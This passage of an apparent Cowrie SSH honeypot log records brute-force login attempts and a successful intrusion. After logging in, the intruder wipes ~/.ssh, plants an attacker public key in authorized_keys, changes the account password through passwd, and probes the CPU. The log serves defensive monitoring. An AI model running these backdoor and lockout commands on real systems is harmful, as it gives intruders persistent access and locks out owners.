oup-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:19.162494Z","src_ip":"104.208.108.166","session":"236eca8c3701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123","message":"login attempt [jenkins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:20.097388Z","src_ip":"104.208.108.166","session":"236eca8c3701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:21.326641Z","src_ip":"104.208.108.166","session":"236eca8c3701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.52.24.180","src_port":47953,"dst_ip":"159.203.135.109","dst_port":22,"session":"b61e1fd6b32a","protocol":"ssh","message":"New connection: 164.52.24.180:47953 (159.203.135.109:22) [session: b61e1fd6b32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:44.075702Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\\xe4\u001a\\x98\\xb6\\xf9-\\xacA\\x862\u0015\\xec:\\x8c:\\xba\\xd4Ae\\xdb)}\u0014\uc4e4\u0013eN\u001c(F \\xd8\\xee\u05b1\\xaaXW\\xf2t\\xbe\\\u0017*k\\x80\\xdaH\\x89\\xc9\\xe22\\x83\\xf6\u001dL\u001b)\\x8e\\x934&","message":"Remote SSH version: \u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\\xe4\u001a\\x98\\xb6\\xf9-\\xacA\\x862\u0015\\xec:\\x8c:\\xba\\xd4Ae\\xdb)}\u0014\uc4e4\u0013eN\u001c(F \\xd8\\xee\u05b1\\xaaXW\\xf2t\\xbe\\\u0017*k\\x80\\xdaH\\x89\\xc9\\xe22\\x83\\xf6\u001dL\u001b)\\x8e\\x934&","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:44.080257Z","src_ip":"164.52.24.180","session":"b61e1fd6b32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:44.083449Z","src_ip":"164.52.24.180","session":"b61e1fd6b32a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.52.24.180","src_port":38573,"dst_ip":"159.203.135.109","dst_port":22,"session":"830272f219b7","protocol":"ssh","message":"New connection: 164.52.24.180:38573 (159.203.135.109:22) [session: 830272f219b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:44.424452Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:44.428248Z","src_ip":"164.52.24.180","session":"830272f219b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:44.434666Z","src_ip":"164.52.24.180","session":"830272f219b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":37810,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e338153e91d","protocol":"ssh","message":"New connection: 104.208.108.166:37810 (10.17.0.5:22) [session: 7e338153e91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:47:14.135356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:47:14.140175Z","src_ip":"104.208.108.166","session":"7e338153e91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:47:14.363900Z","src_ip":"104.208.108.166","session":"7e338153e91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"909090","message":"login attempt [root/909090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:47:15.288880Z","src_ip":"104.208.108.166","session":"7e338153e91d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:47:16.514700Z","src_ip":"104.208.108.166","session":"7e338153e91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":38026,"dst_ip":"10.17.0.5","dst_port":22,"session":"48a8fa0f44db","protocol":"ssh","message":"New connection: 104.208.108.166:38026 (10.17.0.5:22) [session: 48a8fa0f44db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:10.506274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:10.510774Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:10.730596Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"superadmin","message":"login attempt [admin/superadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:11.641323Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:12.124692Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:12.128351Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:12.131635Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:12.354690Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:12.835031Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:12.838364Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:13.062990Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:13.066632Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":5906,"dst_ip":"10.17.0.5","dst_port":22,"session":"983361de7f57","protocol":"ssh","message":"New connection: 104.208.108.166:5906 (10.17.0.5:22) [session: 983361de7f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:13.271139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:13.275424Z","src_ip":"104.208.108.166","session":"983361de7f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:13.494767Z","src_ip":"104.208.108.166","session":"983361de7f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:14.401575Z","src_ip":"104.208.108.166","session":"983361de7f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:15.623477Z","src_ip":"104.208.108.166","session":"983361de7f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":5922,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2c477d55252","protocol":"ssh","message":"New connection: 104.208.108.166:5922 (10.17.0.5:22) [session: b2c477d55252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:15.849166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:15.854200Z","src_ip":"104.208.108.166","session":"b2c477d55252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:16.074445Z","src_ip":"104.208.108.166","session":"b2c477d55252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:16.985913Z","src_ip":"104.208.108.166","session":"b2c477d55252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:18.210048Z","src_ip":"104.208.108.166","session":"b2c477d55252","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:18.485856Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:18.488919Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:18.712340Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:19.196613Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"superadmin\\n8uepz3iC7aHn\\n8uepz3iC7aHn\"|passwd|bash","message":"CMD: echo -e \"superadmin\\n8uepz3iC7aHn\\n8uepz3iC7aHn\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:19.200082Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:19.204312Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:19.208204Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/dc47e14b7bc50182a17268c99abb89d14ed41f88cc4e28f21ec06e6f99332ffc","size":32,"shasum":"dc47e14b7bc50182a17268c99abb89d14ed41f88cc4e28f21ec06e6f99332ffc","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/dc47e14b7bc50182a17268c99abb89d14ed41f88cc4e28f21ec06e6f99332ffc after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:19.432670Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:19.914313Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"superadmin\\n8uepz3iC7aHn\\n8uepz3iC7aHn\\n\"|passwd","message":"CMD: echo \"superadmin\\n8uepz3iC7aHn\\n8uepz3iC7aHn\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:19.917156Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/06af6301687eba3f303e4ae8c6a83d768cc066404ca7c90a5ad81e979650bce2","size":25,"shasum":"06af6301687eba3f303e4ae8c6a83d768cc066404ca7c90a5ad81e979650bce2","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/06af6301687eba3f303e4ae8c6a83d768cc066404ca7c90a5ad81e979650bce2 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:20.139613Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:20.665076Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:20.668629Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
